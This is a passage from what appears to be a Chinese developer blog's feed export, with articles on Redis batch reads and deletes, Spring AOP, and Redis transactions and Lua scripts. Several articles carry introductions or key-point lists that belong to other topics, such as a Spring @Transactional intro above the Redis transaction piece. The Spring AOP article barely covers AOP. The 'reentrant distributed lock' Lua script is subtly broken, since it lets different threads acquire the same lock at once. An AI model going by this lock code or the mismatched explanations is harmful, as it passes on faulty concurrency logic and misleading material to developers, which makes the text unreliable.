(InterruptedException e) &#123;</span><br><span class="line">                    Thread.currentThread().interrupt();</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-批量读取优化"><a href="#6-2-批量读取优化" class="headerlink" title="6.2 批量读取优化"></a>6.2 批量读取优化</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BatchReadService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Map&lt;Long, User&gt; <span class="title function_">getUsers</span><span class="params">(List&lt;Long&gt; userIds)</span> &#123;</span><br><span class="line">        Map&lt;Long, User&gt; result = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        List&lt;Long&gt; missingIds = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 分批Pipeline读取</span></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; userIds.size(); i += <span class="number">500</span>) &#123;</span><br><span class="line">            List&lt;Long&gt; batch = userIds.subList(i, Math.min(i + <span class="number">500</span>, userIds.size()));</span><br><span class="line">            List&lt;String&gt; keys = batch.stream()</span><br><span class="line">                .map(id -&gt; <span class="string">&quot;user:&quot;</span> + id)</span><br><span class="line">                .collect(Collectors.toList());</span><br><span class="line">            </span><br><span class="line">            List&lt;String&gt; values = redis.opsForValue().multiGet(keys);</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>; j &lt; batch.size(); j++) &#123;</span><br><span class="line">                <span class="type">String</span> <span class="variable">value</span> <span class="operator">=</span> values.get(j);</span><br><span class="line">                <span class="keyword">if</span> (value != <span class="literal">null</span>) &#123;</span><br><span class="line">                    result.put(batch.get(j), JSON.parseObject(value, User.class));</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    missingIds.add(batch.get(j));</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 从数据库补充未命中的数据</span></span><br><span class="line">        <span class="keyword">if</span> (!missingIds.isEmpty()) &#123;</span><br><span class="line">            List&lt;User&gt; dbUsers = userMapper.findByIds(missingIds);</span><br><span class="line">            dbUsers.forEach(user -&gt; &#123;</span><br><span class="line">                result.put(user.getId(), user);</span><br><span class="line">                redis.opsForValue().set(<span class="string">&quot;user:&quot;</span> + user.getId(), </span><br><span class="line">                    JSON.toJSONString(user), <span class="number">3600</span>, TimeUnit.SECONDS);</span><br><span class="line">            &#125;);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-批量删除过期数据"><a href="#6-3-批量删除过期数据" class="headerlink" title="6.3 批量删除过期数据"></a>6.3 批量删除过期数据</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataCleanupService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 使用SCAN + Pipeline批量删除</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">cleanupExpiredData</span><span class="params">(String pattern)</span> &#123;</span><br><span class="line">        <span class="type">ScanOptions</span> <span class="variable">options</span> <span class="operator">=</span> ScanOptions.scanOptions()</span><br><span class="line">            .match(pattern)</span><br><span class="line">            .count(<span class="number">100</span>)</span><br><span class="line">            .build();</span><br><span class="line">        </span><br><span class="line">        Cursor&lt;<span class="type">byte</span>[]&gt; cursor = redis.executeWithStickyConnection(</span><br><span class="line">            connection -&gt; connection.scan(options)</span><br><span class="line">        );</span><br><span class="line">        </span><br><span class="line">        List&lt;<span class="type">byte</span>[]&gt; keysToDelete = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">while</span> (cursor.hasNext()) &#123;</span><br><span class="line">            keysToDelete.add(cursor.next());</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 每100个删除一次</span></span><br><span class="line">            <span class="keyword">if</span> (keysToDelete.size() &gt;= <span class="number">100</span>) &#123;</span><br><span class="line">                deleteBatch(keysToDelete);</span><br><span class="line">                keysToDelete.clear();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 删除剩余的</span></span><br><span class="line">        <span class="keyword">if</span> (!keysToDelete.isEmpty()) &#123;</span><br><span class="line">            deleteBatch(keysToDelete);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">deleteBatch</span><span class="params">(List&lt;<span class="type">byte</span>[]&gt; keys)</span> &#123;</span><br><span class="line">        redis.executePipelined((RedisCallback&lt;Object&gt;) connection -&gt; &#123;</span><br><span class="line">            keys.forEach(key -&gt; connection.keyCommands().del(key));</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="七、总结"><a href="#七、总结" class="headerlink" title="七、总结"></a>七、总结</h2><table><thead><tr><th>批量方式</th><th>原子性</th><th>适用场景</th><th>性能</th></tr></thead><tbody><tr><td>MGET/MSET</td><td>是</td><td>String批量读写</td><td>好</td></tr><tr><td>HMGET/HMSET</td><td>是</td><td>Hash批量读写</td><td>好</td></tr><tr><td>Pipeline</td><td>否</td><td>大量命令批量执行</td><td>很好</td></tr><tr><td>Lua脚本</td><td>是</td><td>需要原子性的复杂操作</td><td>好</td></tr></tbody></table><p>批量操作的核心原则：</p><ol><li><strong>减少网络往返</strong>：使用Pipeline或批量命令</li><li><strong>控制批次大小</strong>：避免单批次过大导致阻塞</li><li><strong>结合使用</strong>：Pipeline内使用批量命令效果更佳</li><li><strong>注意原子性需求</strong>：需要原子性时用Lua脚本</li><li><strong>Cluster注意</strong>：确保key在同一slot或使用Hash Tag</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring AOP 的原理和常见应用</title>
      <link href="//spring-aop-de-yuan-li-he-chang-jian-ying-yong/"/>
      <url>//spring-aop-de-yuan-li-he-chang-jian-ying-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-AOP-的原理和常见应用"><a href="#Spring-AOP-的原理和常见应用" class="headerlink" title="Spring AOP 的原理和常见应用"></a>Spring AOP 的原理和常见应用</h1><p>AOP 是 Spring 的核心功能之一，但真正用起来容易踩坑。很多人知道 @Aspect 注解，却不清楚代理模式的区别、切面的执行顺序、以及自调用失效的问题。本文从配置到常见问题，把实际项目中的处理思路整理出来。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>JDK 动态代理和 CGLIB 代理的区别：前者基于接口，后者基于类</p></li><li><p>切面的优先级由 @Order 注解控制，数字越小优先级越高</p></li><li><p>自调用问题的原因是内部方法调用不会经过代理对象</p></li><li><p>使用 ProxyUtils 或暴露 AopContext 可以解决自调用问题</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>AOP 是实现横切关注点的利器，但需要理解其底层机制才能用好。在实际项目中，日志、事务、权限校验都是 AOP 的典型应用场景。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis事务与Lua脚本</title>
      <link href="//redis-transaction-lua-script/"/>
      <url>//redis-transaction-lua-script/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis事务与Lua脚本"><a href="#Redis事务与Lua脚本" class="headerlink" title="Redis事务与Lua脚本"></a>Redis事务与Lua脚本</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="一、Redis事务"><a href="#一、Redis事务" class="headerlink" title="一、Redis事务"></a>一、Redis事务</h2><p>#</p><h2 id="1-1-事务基础"><a href="#1-1-事务基础" class="headerlink" title="1.1 事务基础"></a>1.1 事务基础</h2><p>Redis事务通过MULTI、EXEC、WATCH等命令实现：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">MULTI           <span class="comment"># 开启事务</span></span><br><span class="line">SET key1 value1</span><br><span class="line">SET key2 value2</span><br><span class="line">INCR counter</span><br><span class="line">EXEC            <span class="comment"># 执行事务</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-事务命令"><a href="#1-2-事务命令" class="headerlink" title="1.2 事务命令"></a>1.2 事务命令</h2><table><thead><tr><th>命令</th><th>作用</th></tr></thead><tbody><tr><td>MULTI</td><td>开启事务，后续命令进入队列</td></tr><tr><td>EXEC</td><td>执行事务队列中的所有命令</td></tr><tr><td>DISCARD</td><td>取消事务，清空队列</td></tr><tr><td>WATCH</td><td>监视一个或多个key，如果被修改则事务失败</td></tr><tr><td>UNWATCH</td><td>取消对所有key的监视</td></tr></tbody></table><p>#</p><h2 id="1-3-事务示例"><a href="#1-3-事务示例" class="headerlink" title="1.3 事务示例"></a>1.3 事务示例</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 无WATCH的简单事务</span></span><br><span class="line">MULTI</span><br><span class="line">SET balance:1001 1000</span><br><span class="line">SET balance:1002 2000</span><br><span class="line">EXEC</span><br><span class="line"></span><br><span class="line"><span class="comment"># 带WATCH的乐观锁事务</span></span><br><span class="line">WATCH balance:1001 balance:1002</span><br><span class="line">MULTI</span><br><span class="line">DECRBY balance:1001 100</span><br><span class="line">INCRBY balance:1002 100</span><br><span class="line">EXEC</span><br><span class="line"><span class="comment"># 如果执行期间balance:1001或balance:1002被修改，EXEC返回nil</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-4-Java中使用事务"><a href="#1-4-Java中使用事务" class="headerlink" title="1.4 Java中使用事务"></a>1.4 Java中使用事务</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TransactionService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transfer</span><span class="params">(String from, String to, <span class="type">int</span> amount)</span> &#123;</span><br><span class="line">        redis.execute(<span class="keyword">new</span> <span class="title class_">SessionCallback</span>&lt;Object&gt;() &#123;</span><br><span class="line">            <span class="meta">@Override</span></span><br><span class="line">            <span class="keyword">public</span> Object <span class="title function_">execute</span><span class="params">(RedisOperations operations)</span> <span class="keyword">throws</span> DataAccessException &#123;</span><br><span class="line">                <span class="comment">// WATCH监控key</span></span><br><span class="line">                operations.watch(Arrays.asList(from, to));</span><br><span class="line">                </span><br><span class="line">                <span class="comment">// 获取余额</span></span><br><span class="line">                <span class="type">int</span> <span class="variable">fromBalance</span> <span class="operator">=</span> Integer.parseInt((String) operations.opsForValue().get(from));</span><br><span class="line">                </span><br><span class="line">                <span class="keyword">if</span> (fromBalance &lt; amount) &#123;</span><br><span class="line">                    operations.unwatch();</span><br><span class="line">                    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;余额不足&quot;</span>);</span><br><span class="line">                &#125;</span><br><span class="line">                </span><br><span class="line">                <span class="comment">// 开启事务</span></span><br><span class="line">                operations.multi();</span><br><span class="line">                operations.opsForValue().decrement(from, amount);</span><br><span class="line">                operations.opsForValue().increment(to, amount);</span><br><span class="line">                </span><br><span class="line">                <span class="comment">// 执行事务</span></span><br><span class="line">                List&lt;Object&gt; results = operations.exec();</span><br><span class="line">                </span><br><span class="line">                <span class="comment">// 如果results为null，说明WATCH的key被修改，事务失败</span></span><br><span class="line">                <span class="keyword">if</span> (results == <span class="literal">null</span>) &#123;</span><br><span class="line">                    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;转账失败，请重试&quot;</span>);</span><br><span class="line">                &#125;</span><br><span class="line">                </span><br><span class="line">                <span class="keyword">return</span> results;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-5-Redis事务的特点"><a href="#1-5-Redis事务的特点" class="headerlink" title="1.5 Redis事务的特点"></a>1.5 Redis事务的特点</h2><p><strong>优点</strong>：</p><ul><li>命令批量执行，减少网络往返</li><li>WATCH提供乐观锁机制</li></ul><p><strong>局限性</strong>：</p><ol><li><strong>不支持回滚</strong>：如果事务中某条命令执行失败，其他命令仍会执行</li><li><strong>没有隔离级别概念</strong>：事务中的命令不会阻塞其他客户端</li><li><strong>不支持条件判断</strong>：不能根据查询结果决定后续操作</li></ol><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 事务中命令失败的例子</span></span><br><span class="line">MULTI</span><br><span class="line">SET key1 value1</span><br><span class="line">LPUSH key1 value2    <span class="comment"># 错误！key1是String，不能LPUSH</span></span><br><span class="line">SET key2 value2</span><br><span class="line">EXEC</span><br><span class="line"></span><br><span class="line"><span class="comment"># 结果：</span></span><br><span class="line"><span class="comment"># key1 = value1（SET成功）</span></span><br><span class="line"><span class="comment"># LPUSH报错但继续执行</span></span><br><span class="line"><span class="comment"># key2 = value2（SET成功）</span></span><br></pre></td></tr></table></figure><h2 id="二、Lua脚本"><a href="#二、Lua脚本" class="headerlink" title="二、Lua脚本"></a>二、Lua脚本</h2><p>#</p><h2 id="2-1-为什么需要Lua"><a href="#2-1-为什么需要Lua" class="headerlink" title="2.1 为什么需要Lua"></a>2.1 为什么需要Lua</h2><p>Redis事务的局限性促使我们使用Lua脚本：</p><ul><li>Lua脚本可以包含逻辑判断</li><li>Lua脚本在Redis中<strong>原子执行</strong></li><li>可以减少网络往返</li></ul><p>#</p><h2 id="2-2-执行Lua脚本"><a href="#2-2-执行Lua脚本" class="headerlink" title="2.2 执行Lua脚本"></a>2.2 执行Lua脚本</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 方式一：直接执行</span></span><br><span class="line">EVAL <span class="string">&quot;return redis.call(&#x27;set&#x27;, KEYS[1], ARGV[1])&quot;</span> 1 mykey myvalue</span><br><span class="line"></span><br><span class="line"><span class="comment"># 方式二：先加载再执行（推荐，减少带宽）</span></span><br><span class="line">SCRIPT LOAD <span class="string">&quot;return redis.call(&#x27;set&#x27;, KEYS[1], ARGV[1])&quot;</span></span><br><span class="line"><span class="comment"># 返回SHA1: a5b0d4e1...</span></span><br><span class="line">EVALSHA a5b0d4e1... 1 mykey myvalue</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-Lua脚本基础语法"><a href="#2-3-Lua脚本基础语法" class="headerlink" title="2.3 Lua脚本基础语法"></a>2.3 Lua脚本基础语法</h2><figure class="highlight lua"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 调用Redis命令</span></span><br><span class="line">redis.call(<span class="string">&#x27;set&#x27;</span>, <span class="string">&#x27;key&#x27;</span>, <span class="string">&#x27;value&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 获取命令结果</span></span><br><span class="line"><span class="keyword">local</span> value = redis.call(<span class="string">&#x27;get&#x27;</span>, <span class="string">&#x27;key&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 条件判断</span></span><br><span class="line"><span class="keyword">local</span> balance = redis.call(<span class="string">&#x27;get&#x27;</span>, <span class="string">&#x27;balance&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> <span class="built_in">tonumber</span>(balance) &gt;= <span class="number">100</span> <span class="keyword">then</span></span><br><span class="line">    redis.call(<span class="string">&#x27;decrby&#x27;</span>, <span class="string">&#x27;balance&#x27;</span>, <span class="number">100</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 循环</span></span><br><span class="line"><span class="keyword">for</span> i = <span class="number">1</span>, <span class="number">10</span> <span class="keyword">do</span></span><br><span class="line">    redis.call(<span class="string">&#x27;lpush&#x27;</span>, <span class="string">&#x27;list&#x27;</span>, i)</span><br><span class="line"><span class="keyword">end</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-4-Lua脚本实现原子操作"><a href="#2-4-Lua脚本实现原子操作" class="headerlink" title="2.4 Lua脚本实现原子操作"></a>2.4 Lua脚本实现原子操作</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 安全扣减库存</span></span><br><span class="line">EVAL <span class="string">&quot;</span></span><br><span class="line"><span class="string">local stock = redis.call(&#x27;get&#x27;, KEYS[1])</span></span><br><span class="line"><span class="string">if stock == false then</span></span><br><span class="line"><span class="string">    return -1  -- 库存不存在</span></span><br><span class="line"><span class="string">end</span></span><br><span class="line"><span class="string">if tonumber(stock) &lt;= 0 then</span></span><br><span class="line"><span class="string">    return 0   -- 库存不足</span></span><br><span class="line"><span class="string">end</span></span><br><span class="line"><span class="string">redis.call(&#x27;decr&#x27;, KEYS[1])</span></span><br><span class="line"><span class="string">return 1       -- 扣减成功</span></span><br><span class="line"><span class="string">&quot;</span> 1 stock:1001</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-5-Java中使用Lua脚本"><a href="#2-5-Java中使用Lua脚本" class="headerlink" title="2.5 Java中使用Lua脚本"></a>2.5 Java中使用Lua脚本</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LuaScriptService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 扣减库存脚本</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">DECREASE_STOCK_SCRIPT</span> <span class="operator">=</span> </span><br><span class="line">        <span class="string">&quot;local stock = redis.call(&#x27;get&#x27;, KEYS[1]) &quot;</span> +</span><br><span class="line">        <span class="string">&quot;if stock == false then return -1 end &quot;</span> +</span><br><span class="line">        <span class="string">&quot;if tonumber(stock) &lt;= 0 then return 0 end &quot;</span> +</span><br><span class="line">        <span class="string">&quot;redis.call(&#x27;decr&#x27;, KEYS[1]) &quot;</span> +</span><br><span class="line">        <span class="string">&quot;return 1&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> DefaultRedisScript&lt;Long&gt; decreaseStockScript;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostConstruct</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">()</span> &#123;</span><br><span class="line">        decreaseStockScript = <span class="keyword">new</span> <span class="title class_">DefaultRedisScript</span>&lt;&gt;();</span><br><span class="line">        decreaseStockScript.setScriptText(DECREASE_STOCK_SCRIPT);</span><br><span class="line">        decreaseStockScript.setResultType(Long.class);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">decreaseStock</span><span class="params">(Long productId)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;stock:&quot;</span> + productId;</span><br><span class="line">        <span class="type">Long</span> <span class="variable">result</span> <span class="operator">=</span> redis.execute(decreaseStockScript, Collections.singletonList(key));</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (result == <span class="literal">null</span> || result == -<span class="number">1</span>) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;库存不存在&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (result == <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;  <span class="comment">// 库存不足</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;  <span class="comment">// 扣减成功</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-6-复杂Lua脚本示例"><a href="#2-6-复杂Lua脚本示例" class="headerlink" title="2.6 复杂Lua脚本示例"></a>2.6 复杂Lua脚本示例</h2><p><strong>实现可重入分布式锁</strong>：</p><figure class="highlight lua"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 加锁脚本</span></span><br><span class="line"><span class="keyword">local</span> key = KEYS[<span class="number">1</span>]</span><br><span class="line"><span class="keyword">local</span> threadId = ARGV[<span class="number">1</span>]</span><br><span class="line"><span class="keyword">local</span> expireTime = <span class="built_in">tonumber</span>(ARGV[<span class="number">2</span>])</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 获取锁的当前值</span></span><br><span class="line"><span class="keyword">local</span> currentValue = redis.call(<span class="string">&#x27;hget&#x27;</span>, key, threadId)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> currentValue == <span class="literal">false</span> <span class="keyword">then</span></span><br><span class="line">    <span class="comment">-- 锁不存在或不是当前线程的，尝试获取</span></span><br><span class="line">    <span class="keyword">local</span> acquired = redis.call(<span class="string">&#x27;hsetnx&#x27;</span>, key, threadId, <span class="number">1</span>)</span><br><span class="line">    <span class="keyword">if</span> acquired == <span class="number">1</span> <span class="keyword">then</span></span><br><span class="line">        redis.call(<span class="string">&#x27;pexpire&#x27;</span>, key, expireTime)</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line">    <span class="keyword">end</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">    <span class="comment">-- 锁存在且是当前线程的，重入计数+1</span></span><br><span class="line">    redis.call(<span class="string">&#x27;hincrby&#x27;</span>, key, threadId, <span class="number">1</span>)</span><br><span class="line">    redis.call(<span class="string">&#x27;pexpire&#x27;</span>, key, expireTime)</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span></span><br><span class="line"><span class="keyword">end</span></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ReentrantLockWithLua</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">LOCK_SCRIPT</span> <span class="operator">=</span> </span><br><span class="line">        <span class="string">&quot;local currentValue = redis.call(&#x27;hget&#x27;, KEYS[1], ARGV[1]) &quot;</span> +</span><br><span class="line">        <span class="string">&quot;if currentValue == false then &quot;</span> +</span><br><span class="line">        <span class="string">&quot;    local acquired = redis.call(&#x27;hsetnx&#x27;, KEYS[1], ARGV[1], 1) &quot;</span> +</span><br><span class="line">        <span class="string">&quot;    if acquired == 1 then &quot;</span> +</span><br><span class="line">        <span class="string">&quot;        redis.call(&#x27;pexpire&#x27;, KEYS[1], ARGV[2]) &quot;</span> +</span><br><span class="line">        <span class="string">&quot;        return 1 &quot;</span> +</span><br><span class="line">        <span class="string">&quot;    else &quot;</span> +</span><br><span class="line">        <span class="string">&quot;        return 0 &quot;</span> +</span><br><span class="line">        <span class="string">&quot;    end &quot;</span> +</span><br><span class="line">        <span class="string">&quot;else &quot;</span> +</span><br><span class="line">        <span class="string">&quot;    redis.call(&#x27;hincrby&#x27;, KEYS[1], ARGV[1], 1) &quot;</span> +</span><br><span class="line">        <span class="string">&quot;    redis.call(&#x27;pexpire&#x27;, KEYS[1], ARGV[2]) &quot;</span> +</span><br><span class="line">        <span class="string">&quot;    return 1 &quot;</span> +</span><br><span class="line">        <span class="string">&quot;end&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">UNLOCK_SCRIPT</span> <span class="operator">=</span> </span><br><span class="line">        <span class="string">&quot;local currentValue = redis.call(&#x27;hget&#x27;, KEYS[1], ARGV[1]) &quot;</span> +</span><br><span class="line">        <span class="string">&quot;if currentValue == false then return 0 end &quot;</span> +</span><br><span class="line">        <span class="string">&quot;if tonumber(currentValue) &gt; 1 then &quot;</span> +</span><br><span class="line">        <span class="string">&quot;    redis.call(&#x27;hincrby&#x27;, KEYS[1], ARGV[1], -1) &quot;</span> +</span><br><span class="line">        <span class="string">&quot;    return 1 &quot;</span> +</span><br><span class="line">        <span class="string">&quot;else &quot;</span> +</span><br><span class="line">        <span class="string">&quot;    redis.call(&#x27;del&#x27;, KEYS[1]) &quot;</span> +</span><br><span class="line">        <span class="string">&quot;    return 1 &quot;</span> +</span><br><span class="line">        <span class="string">&quot;end&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">lock</span><span class="params">(String key, String threadId, <span class="type">long</span> 